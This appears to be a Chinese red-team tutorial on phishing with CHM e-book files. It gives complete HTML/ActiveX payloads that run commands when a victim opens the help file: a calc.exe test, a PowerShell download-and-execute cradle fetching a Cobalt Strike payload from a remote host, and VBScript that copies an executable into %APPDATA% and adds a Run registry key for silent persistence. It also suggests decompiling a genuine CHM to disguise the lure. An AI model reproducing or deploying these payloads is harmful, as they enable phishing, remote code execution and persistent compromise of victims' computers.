CHM电子书钓鱼
1.CHM简单简介
CHM(Compiled Help Manual)即已编译的帮助文件,由微软研发,基于 HTML 源码编译封装,数据以类数据库格式保存。 因其浏览便捷、样式丰富,除官方帮助文档外,常被用作电子书格式,Windows 自带hh.exe即可直接打开。
2.准备工具
3.CHM执行exe
环境验证与目录构建
使用系统程序 calc.exe 进行功能可用性验证。
新建项目根目录 CHM,并进入该目录; 在目录内新建两个子文件夹,同时创建首页文件 index.html

index.html文件中源码如下:
<!DOCTYPE html><html> <head> <title>Mousejack replay</title> </head> <body> Hello world <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
注意:"payload" 此处前面需要加个英文版的逗号,否则在打开chm文档时会出错Easy CHM制作CHM文档
点击新建,选中我们创建好的文件夹


确定即可如下,导入成功
点击工具栏的 编译

即可在当前目录下看到CHM文件
只要受害人点击电子书,即可弹出计算器

4.执行恶意代码上线
启动Cobalt Strike,点击attacks——>web Drive by——>scripted web Delivery

生成payload
写入html
<!DOCTYPE html><html> <head> <title>Mousejack replay</title> </head> <body> Hello world <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.23.137:80/a'))"> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
•••注意:exe后面要再加一个英文版逗号否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突。
编译生成CHM文件
受害者打开电子书文件,即可上线


5.写注册表权限维持
** 代码**
<!DOCTYPE html><html> <head> <title>hello world</title> <head></head> <body> <img style="position:absolute; top:0px;left:0px; width:100%" src="https://images.atsud0.me/images/background.jpg"/> <bgsound src="Message.exe"><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,vbscript:"\..\mshtml,,,RunHTMLApplication "<br>execute("Set fso=CreateObject(""Scripting.FileSystemobject""):appdata=(CreateObject(""Wscript.Shell"")).ExpandEnvironmentstrings(""%APPDATA%"")&""\ctfmon.exe"":Set fc=fso.GetFolder(fso.GetSpecialFolder(2)).files:For Each f1 in fc:If f1.size=122368 then : fso.CopyFile f1, appdata:Exit For:End If:Next:window.close()")'> </OBJECT> <OBJECT id=y classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,vbscript:"\..\mshtml,,,RunHTMLApplication "<br>execute("Set wss=CreateObject(""WScript.Shell""):path=wss.ExpandEnvironmentStrings(""%APPDATA%"")&""\ctfmon.exe"":wss.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ctfmonitor"", path,""REG_SZ"":window.close()")'> </OBJECT> <OBJECT id=z classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,vbscript:"\..\mshtml,,,RunHTMLApplication "<br>execute("Set sfso=CreateObject(""Scripting.FileSystemobject""):Set wsc=CreateObject(""WScript.Shell""):peaddr=wsc.ExpandEnvironmentstrings(""%APPDATA%"")&""\ctfmon.exe"":Set QQ=createobject(""Shell.Application""):For i=1 to 1000:If sfso.fileexists(peaddr) then:QQ.ShellExecute peaddr:Exit For:End If:document.write():Next:window.close()")'> </OBJECT> <script>x.Click();y.Click();z.Click();</script> </body></html>
首先会把当前目录下的exe复制至用户应用数据目录% appdata%下 , 写入注册表启动项会将程序写入到ctfmonitor ,以此达成开机静默自启的目的
计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

6.拓展
如果需要达到更好的伪装,我们可以下载一个真实的chm文件,然后将他转为html,再去html中写入我们的恶意代码,即可达到目的
hh -decompile <输出文件夹路径> <要反编译的CHM文件全路径名>

7.参考
1.制作chm 手册_红队攻防之CHM文档钓鱼
2.chm无法用浏览器打开,Windows下如何把chm转换为html?